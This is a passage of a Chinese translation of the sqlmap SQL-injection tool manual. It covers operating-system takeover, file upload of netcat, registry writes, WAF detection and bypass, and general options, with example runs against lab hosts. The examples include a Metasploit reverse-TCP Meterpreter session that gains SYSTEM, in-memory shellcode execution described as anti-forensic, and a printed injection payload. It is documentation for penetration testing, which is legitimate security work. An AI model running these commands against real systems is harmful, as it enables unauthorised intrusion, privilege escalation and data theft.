/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'
接管操作系統
運行任意操作系統命令
選項和開關:--os-cmd
和 --os-shell
當后端 DBMS(Database Management System,數據庫管理系統)為 MySQL,PostgreSQL 或 Microsoft SQL Server,並且當前會話用戶擁有對數據庫特定功能和相關架構特性的利用權限時,sqlmap 能夠在數據庫所在服務器的操作系統上運行任意的命令。
在 MySQL 和 PostgreSQL 中,sqlmap 可以上傳(通過前面描述的文件上傳功能)一個包含兩個用戶自定義函數——分別為 sys_exec()
和 sys_eval()
的共享庫(二進制文件),然后在數據庫中創建出兩個對應函數,並調用對應函數執行特定的命令,並允許用戶選擇是否打印出相關命令執行的結果。在 Microsoft SQL Server 中,sqlmap 會利用 xp_cmdshell
存儲過程:如果該存儲過程被關閉了(Microsoft SQL Server 的 2005 及以上版本默認關閉),sqlmap 則會將其重新打開;如果該存儲過程不存在,sqlmap 則會重新創建它。
當用戶請求標准輸出,sqlmap 將使用任何可用的 SQL 注入技術(盲注、帶內注入、報錯型注入)去獲取對應結果。相反,如果無需標准輸出對應結果,sqlmap 則會使用堆疊查詢注入(Stacked queries)技術執行相關的命令。
這些技術的相關詳情可見白皮書通過高級 SQL 注入,對操作系統進行完全控制。
針對 PostgreSQL 目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually
sqlmap 還支持模擬 shell 輸入,你可以輸入任意命令以執行。對應的選項是 --os-shell
,並且和 --sql-shell
一樣,具備 TAB 補全和記錄歷史命令的功能。
如果堆疊查詢沒有被 Web 應用(例如:PHP 或 ASP 且后端 DBMS 為 MySQL)識別出來,並且 DBMS 為 MySQL,假如后端 DBMS 和 Web 服務器在同一台服務器上,則仍可以通過利用 SELECT
語句中的 INTO OUTFILE
,在 Web 服務器根目錄中的可寫目錄中創建 Web 后門,從而執行命令。sqlmap 支持上述功能並允許用戶提供一個逗號分隔、用於指定根目錄子目錄的列表,從而嘗試上傳 Web 文件傳輸器和后續的 Web 后門。sqlmap 有以下幾種語言的 Web 文件傳輸器和后門:
- ASP
- ASP.NET
- JSP
- PHP
有狀態帶外連接:Meterpreter & friends
開關和選項:--os-pwn
,--os-smbrelay
,--os-bof
,--priv-esc
,--msf-path
和 --tmp-path
當后端 DBMS 為 MySQL,PostgreSQL 或 Microsoft SQL Server 時,並且當前會話用戶擁有對數據庫特定功能和架構缺陷的利用權限時,sqlmap 能夠在攻擊者機器與數據庫服務器之間建立起有狀態帶外 TCP 連接。根據用戶的選擇,該連接可以是交互式命令行、Meterpreter 會話、或者圖形用戶界面(VNC)會話。
sqlmap 依賴 Metasploit 創建 shellcode,並實現了四種不同的技術在數據庫服務器上執行它。這些技術分別是:
- 通過 sqlmap 的用戶自定義函數
sys_bineval()
在數據庫內存中執行 Metasploit shellcode。MySQL 和 PostgreSQL 支持該技術,通過開關--os-pwn
啟用。 - 通過 sqlmap 的用戶自定義函數
sys_exec()
向 MySQL 和 PostgreSQL 上傳一個 Metasploit 獨立 payload 傳輸器並執行,對於 Microsoft SQL Server 則是使用xp_cmdshell()
函數,通過開關--os-pwn
啟用。 - 通過進行從數據庫服務器到攻擊者機器(由 Metasploit
smb_relay
服務監聽)之間的 UNC 路徑請求的 SMB 反射攻擊(MS08-068)來執行 Metasploit shellcode。當 sqlmap 運行於具有高權限(uid=0
)的 Linux/Unix 上,且目標 DBMS 以 Windows 管理員身份運行時支持該技術,通過開關--os-smbrelay
啟用。 - 通過利用 Microsoft SQL Server 2000 和 2005 的
sp_replwritetovarbin
存儲過程堆緩沖區溢出(MS09-004)在數據庫內存中執行 Metasploit shellcode。sqlmap 使用自己的 exploit,自動繞過 DEP 內存保護來觸發漏洞,但它依賴 Metasploit 生成 shellcode,以便在成功利用時執行,通過開關--os-bof
啟用。
相關的技術詳情可見於白皮書通過高級 SQL 注入完全控制操作系統和幻燈片將控制由數據庫層面拓展到操作系統。
針對 MySQL 目標的示例:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..
_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
默認情況下,MySQL 在 Windows 上以 SYSTEM
身份運行,然而 PostgreSQL 在 Windows 和 Linux 上均以低權限用戶 postgres
運行。Microsoft SQL Server 2000 默認以 SYSTEM
身份運行,而 Microsoft SQL 2005 和 2008 大部分情況下以 NETWORK SERVICE
身份運行,有時候以 LOCAL SERVICE
身份運行。
使用 sqlmap 的 --priv-esc
開關,可以通過 Metasploit getsystem
命令進行數據庫進程用戶提權,該命令使用了包括 kitrap0d 在內的各種技術(MS10-015)。
訪問 Windows 注冊表
當后端 DBMS(Database Management System,數據庫管理系統)是 MySQL,PostgreSQL 或 Microsoft SQL Server 並且 Web 應用程序支持堆疊查詢時,sqlmap 可以訪問 Windows 注冊表。此外,會話用戶必須具備相應的訪問權限。
讀取 Windows 注冊表鍵值
開關:--reg-read
使用此開關可以讀取注冊表鍵值。
寫入 Windows 注冊表鍵值
開關:--reg-add
使用此開關可以寫入注冊表鍵值。
刪除 Windows 注冊表項
開關:--reg-del
使用此開關可以刪除注冊表項。
注冊表輔助選項
選項:--reg-key
,--reg-value
,--reg-data
和 --reg-type
這些選項用於提供正確運行 --reg-read
,--reg-add
和 --reg-del
等開關所需的數據。因此,你可以在命令提示符下使用它們作為程序參數,而不是在執行過程中提供注冊表項信息。
使用 --reg-key
選項指定 Windows 注冊表項路徑,--reg-value
提供注冊表項的名稱,--reg-data
提供注冊表鍵值數據,而 --reg-type
選項指定注冊表鍵值的類型。
添加注冊表項配置單元的示例命令行如下:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1
常規選項
下面的選項用於設置 sqlmap 的常規參數。
從已存儲(.sqlite)文件讀取會話
選項:-s
sqlmap 會在專用的輸出目錄中自動為每一個目標分別建立持久會話 SQLite 文件,該文件會存儲用於恢復會話的所有數據。如果用戶需要指定會話文件的具體存儲位置(例如:將所有目標的會話數據存儲在同一個位置),則可以使用這個選項。
記錄 HTTP(s) 訪問信息到文本文件
選項:-t
這個選項需要一個指定文本文件地址的參數,用於寫入 sqlmap 產生的所有 HTTP(s) 流量信息——包括 HTTP(S) 請求 和 HTTP(S) 響應。
這個選項主要用於調試——當你向開發人員提供潛在 bug 報告時,可把這個文件一並帶上。
以非交互式模式運行
開關:--batch
當你需要以批處理模式運行 sqlmap,避免任何用戶干預 sqlmap 的運行,可以強制使用 --batch
這個開關。這樣,當 sqlmap 需要用戶輸入信息時,都將會以默認參數運行。
二進制內容檢索
選項:--binary-fields
為了便於檢索存儲二進制數值(例如:數據列 password
存儲了密碼哈希值二進制數據)的數據表字段的內容,可使用 --binary-fields
選項對該數據列進行(額外)適當處理。所有的這些數據域(例如:數據表的列)都將被取出並以十六進制格式展示,便於后續被其他工具(例如:john
)處理。
自定義 SQL(盲)注入字符集
選項:--charset
在布爾型盲注(Boolean-based blind)和時間型盲注(Time-based blind)中,用戶可以強制使用自定義字符集來加快數據檢索過程。例如,在導出消息摘要值(例如:SHA1)時,通過使用(例如)--charset="0123456789abcdef"
,預期的請求數比常規運行大約少 30%。
從目標 URL 開始爬取站點
選項:--crawl
sqlmap 可以從給定的目標站點開始收集(抓取)存在潛在漏洞的鏈接。使用這個選項可以設置爬取的深度(到起始位置的距離),這樣 sqlmap 爬取到對應深度就不會繼續進行。
針對 MySQL 目標的運行示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
選項:--crawl-exclude
使用這個選項可以通過正則表達式來排除不想抓取的頁面。例如,如果你想要跳過所有包含 logout
關鍵字的鏈接,你可以使用 --crawl-exclude=logout
。
指定 CSV 輸出的分隔符
選項:--csv-del
當導出數據到 CSV 格式文件(--dump-format=CSV
),數據條目需要使用“分隔符”(默認為 ,
)進行划分。如果用戶想要覆蓋默認分隔符,可以使用這個選項(例如:--csv-del=";"
)。
DBMS(Database Management System,數據庫管理系統)認證憑證
選項:--dbms-cred
某些情況下,用戶可能會因為當前 DBMS 用戶的權限問題而導致操作失敗,這時就可以使用這個選項。在這種情景下,如果用戶使用這個選項來 admin
用戶憑證,sqlmap 會嘗試使用相應的認證信息與“以其他身份運行”機制(例如:Microsoft SQL Server 的 OPENROWSET
)來重新運行。
導出數據的格式
選項:--dump-format
當導出數據表數據到輸出目錄的相應文件時,sqlmap 支持三種不同的數據導出格式:CSV
,HTML
和 SQLITE
。默認的輸出格式是 CSV
,每一條數據以 ,
(或者使用 --csv-del
指定其他符號)為分隔符逐行存儲到文本文件中。如果是使用 HTML
格式,則輸出會被存儲為 HTML 文件,每行數據會被存儲為表格的一行到 HTML 文件中。如果是使用 SQLITE
,數據則會被存儲到 SQLITE 數據庫,原先的數據表會被轉換成具有相同名字的 SQLITE 數據表。
強制指定檢索數據編碼
選項:--encoding
為了對字符數據進行合理的編碼,sqlmap 使用從 Web 服務器提供的信息(例如:HTTP 請求頭 Content-Type
),或是使用第三方庫 chardet 進行推導。
盡管如此,有時候還是需要對編碼進行指定,特別是當獲取的數據包含國際化的非 ASCII 字符時(例如:encoding=GBK
)。同時,需要注意的是,如果目標機器數據庫存儲的數據內容與數據庫連接器編碼不兼容,則會不可逆轉地出現編碼信息丟失的情況。
預估完成時間
開關:--eta
sqlmap 支持實時計算並顯示獲取查詢結果的預估時間。如果使用的技術是任意一種 SQL 盲注,則會顯示獲取輸出的時間。
針對 Oracle 目標進行布爾型盲注的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id\
=1" -b --eta
[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19
接着:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2
.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
從上面可以看出,sqlmap 會先計算出查詢結果的長度,然后預估完成的時間,並顯示出完成的百分比及接收到的字符數。
清空會話文件
選項:--flush-session
經過上面的相關描述,相信你已經熟悉了會話文件的相關概念,值得注意的是,你可以通過選項 --flush-session
來清空會話文件內容。這樣你可以避免 sqlmap 默認的緩存機制。也可以手動移除相關的會話文件。
解析並測試表單輸入域
開關:--forms
例如你需要針對_搜索框_進行 SQL 注入測試,或者你想繞過登錄驗證(通常是 username 和 password 兩個輸入框),你可以通過給 sqlmap 傳入請求文件(-r
),並設置好(--data
)相關的提交數據,或者直接讓 sqlmap 自動為你完成相關操作。
上面提及的兩個實例,及其他 HTML 響應體中出現的 <form>
和 <input>
標簽,都可以使用這個開關。
配合存在表單的目標 URL(-u
)使用 sqlmap 的 --forms
開關,sqlmap 會自動為你請求對應目標 URL,解析相關的表單,並引導你基於表單輸入域(參數)而非提供的目標 URL 進行 SQL 注入測試。
忽略會話文件中的查詢結果
開關:--fresh-queries
經過上面的描述,相信你已經熟悉了會話文件的概念,值得注意的是,你可以使用--fresh-queries
這個開關忽略指定的會話文件。這樣你就可以保持某次運行的特定會話文件內容不被修改,從而避免查詢結果的重復嘗試/恢復。
使用 DBMS hex 函數獲取數據
開關:--hex
很多情況下,獲取非 ASCII 數據都會有特殊要求。其中一個解決方案就是使用 DBMS hex 函數。開啟這個開關,數據在被獲取之前,會被編碼成十六進制格式,並在隨后被解碼成原先的格式。
針對 PostgreSQL 目標的例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b\
anner --hex -v 3 --parse-errors
[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)
))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(
CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'
>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type num
eric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.p
hp</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]
指定輸出目錄路徑
選項:--output-dir
默認情況下,sqlmap 會將會話和結果文件存儲在命名為 output
的子目錄中。如果你想要使用不同的存儲位置,可以用這個選項(例如:--output-dir=/tmp
)。
從響應頁面中解析 DBMS 錯誤信息
開關:--parse-errors
如果 Web 應用配置了調試模式,后端 DBMS 的錯誤信息會在 HTTP 響應請求中顯示,sqlmap 會對其進行解析並展示。
這個特性對調試非常有用,例如可以用來理解為什么特定枚舉或接管開關會失效——可能是會話用戶出現權限問題,在這種情況下,你可以看到 Access denied for user <SESSION USER>(拒絕用戶<會話用戶>訪問)
的 DBMS 錯誤信息。
針對 Microsoft SQL Server 目標的例子:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
--parse-errors
[...]
[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending th
e rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 i
s out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Driv
ers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
[...]
預處理響應數據
選項:--preprocess
使用此選項可在 sqlmap 檢測引擎工作之前對(HTTP)響應數據使用預處理腳本(例如,解碼數據或刪除無用數據)。例如,將所有小寫字符轉換為大寫的預處理腳本可以是:
#!/usr/bin/env python#!/usr/bin/env
def preprocess(page, headers=None, code=None):
return page.upper() if page else page, headers, code
保存相關選項到 INI 配置文件
選項:--save
使用此開關可以將命令行上的相關選項保存到 INI 配置文件中。同時可以通過以上描述的 -c
選項對生成的文件進行編輯。
更新 sqlmap
開關:--update
使用此開關,你可以直接從 Git 倉庫 將該工具升級到最新的開發版本。當然,網絡連接必不可少。
當然,如果上面的操作失敗,你可以直接在 sqlmap 所在目錄運行 git pull
。這樣的執行效果和使用開關 --update
一樣。如果你是在 Windows 上使用 sqlmap,可以使用 SmartGit 客戶端。
在向郵件列表反饋任何潛在 bug 之前,強烈建議先嘗試上面描述的方法。
雜項
使用短助記符
選項:-z
輸入所有想要使用的選項和開關是很乏味的事情,特別是對於那些常用的選項和開關(例如:--batch --random-agent --ignore-proxy --technique=BEU
)。有一個更簡短的方法來處理這個問題。在 sqlmap 中,它被稱為“助記符”。
使用選項 -z
,每個選項和開關可以用較短的助記符形式,並用逗號(,
)分隔,其中助記符代表原始名稱的第一個任意選擇的部分。選項和開關沒有嚴格映射到他們各自精簡后的部分。唯一需要滿足的條件是沒有其他選項和開關使用了與之相同的前綴。
例如:
$ python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "ww\
w.target.com/vuln.php?id=1"
可以用短助記符形式(多種方法之一)寫成:
$ python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=\
1"
另一個例子:
$ python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testd\
b -T users -u "www.target.com/vuln.php?id=1"
可以用短助記符形式寫成:
$ python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.\
com/vuln.php?id=1"
警告成功的 SQL 注入檢測
選項:--alert
為問題設置答案
選項:--answers
如果用戶想要自動回答問題,即使使用了 --batch
選項,也可以通過在等號后提供一部分的問題和對應的回答來做到這一點。另外,不同問題的答案可以用分隔符 ,
分割。
針對 MySQL 目標的示例:
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--te\
chnique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provide
d level (1) and risk (1)? [Y/n] N
[...]
發現 SQL 注入時發出“嗶”聲
開關:--beep
如果用戶使用了開關 --beep
,那么在發現 SQL 注入時,sqlmap 會立即發出“嗶”的警告聲。當測試的目標 URLs 是大批量列表(選項 -m
)時特別有用。
清除 DBMS(Database Management System,數據庫管理系統)中特定的 sqlmap UDF(s) 和表
開關:--cleanup
建議在完成底層操作系統或文件系統的接管后,清理后端 DBMS 中的 sqlmap 臨時表(如 sqlmapoutput
)和用戶定義函數。使用 --cleanup
開關將盡可能地清理 DBMS 和文件系統。
檢查依賴關系
開關:--dependencies
在某些特殊情況下,sqlmap 需要獨立安裝額外的第三方庫(例如:選項 -d
,開關 --os-pwn
之於 icmpsh
隧道,選項 --auth-type
之於 NTLM
類型的 HTTP 認證等。),只在這種特殊情況下會警告用戶。不過,如果你想獨立檢查所有這些額外的第三方庫依賴關系,可以使用開關 --dependencies
。
$ python sqlmap.py --dependencies
[...]
[xx:xx:28] [WARNING] sqlmap requires 'python-kinterbasdb' third-party library in
order to directly connect to the DBMS Firebird. Download from http://kinterbasd
b.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Sybase. Download from http://pymssql.sourcefo
rge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python pymysql' third-party library in ord
er to directly connect to the DBMS MySQL. Download from https://github.com/peteh
unt/PyMySQL/
[xx:xx:28] [WARNING] sqlmap requires 'python cx_Oracle' third-party library in o
rder to directly connect to the DBMS Oracle. Download from http://cx-oracle.sour
ceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-psycopg2' third-party library in or
der to directly connect to the DBMS PostgreSQL. Download from http://initd.org/p
sycopg/
[xx:xx:28] [WARNING] sqlmap requires 'python ibm-db' third-party library in orde
r to directly connect to the DBMS IBM DB2. Download from http://code.google.com/
p/ibm-db/
[xx:xx:28] [WARNING] sqlmap requires 'python jaydebeapi & python-jpype' third-pa
rty library in order to directly connect to the DBMS HSQLDB. Download from https
://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-pyodbc' third-party library in orde
r to directly connect to the DBMS Microsoft Access. Download from http://pyodbc.
googlecode.com/
[xx:xx:28] [WARNING] sqlmap requires 'python-pymssql' third-party library in ord
er to directly connect to the DBMS Microsoft SQL Server. Download from http://py
mssql.sourceforge.net/
[xx:xx:28] [WARNING] sqlmap requires 'python-ntlm' third-party library if you pl
an to attack a web application behind NTLM authentication. Download from http://
code.google.com/p/python-ntlm/
[xx:xx:28] [WARNING] sqlmap requires 'websocket-client' third-party library if y
ou plan to attack a web application using WebSocket. Download from https://pypi.
python.org/pypi/websocket-client/
禁用控制台輸出着色
開關:--disable-coloring
默認情況下,sqlmap 輸出到控制台時使用着色。你可以使用此開關禁用控制台輸出着色,以避免不期望的效果(例如:控制台中未解析的 ANSI 代碼着色效果,像 \x01\x1b[0;32m\x02[INFO]
)。
使用特定頁碼的 Google dork 結果
選項:--gpage
默認情況下,使用選項 -g
時,sqlmap 會使用 Google 搜索得到的前 100 個 URLs 進行進一步的 SQL 注入測試。結合此選項,你可以使用它(--gpage
)指定除第一頁以外的頁面以檢索目標 URLs。
使用 HTTP 參數污染
開關:--hpp
HTTP 參數污染(HPP)是一種繞過 WAF/IPS 防護機制(這里 有相關介紹)的方法,對 ASP/IIS 和 ASP.NET/IIS 平台尤其有效。如果你懷疑目標使用了這種防護機制,可以嘗試使用此開關以繞過它。
針對 WAF/IPS 防護進行徹底的測試
開關:--identify-waf
sqlmap 可以嘗試識別后端 WAF/IPS 防護(如果有),以便用戶可以執行恰當的步驟(例如:通過選項 --tamper
使用篡改腳本)。目前,大約支持 30 種不同的產品(例如:Airlock,Barracuda WAF 等),可以在 waf
目錄下找到它們對應的 WAF 腳本。
針對受 ModSecurity WAF 防護的 MySQL 目標示例:
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --i\
dentify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS protection
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'USP Secure Entry Server (Un
ited Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'BinarySEC Web Application F
irewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'NetContinuum Web Applicatio
n Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Cisco ACE XML Gateway (Cisc
o Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'TrafficShield (F5 Networks)
'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Teros/Citrix Application Fi
rewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'KONA Security Solutions (Ak
amai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Incapsula Web Application F
irewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Barracuda Web Application F
irewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Proventia Web Application S
ecurity (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'Jiasule Web Application Fir
ewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'WebKnight Application Firew
all (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IPS product 'ModSecurity: Open Source We
b Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IPS identified 'ModSecurity: Open Source Web Appli
cation Firewall (Trustwave)'. Please consider usage of tamper scripts (option '-
-tamper')
[...]
跳過啟發式檢測 WAF/IPS 防護
開關:--skip-waf
默認情況下,sqlmap 自動在一個啟動請求中發送一個虛假的參數值,其中包含一個有意“可疑”的 SQL 注入 payload(例如:...&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1
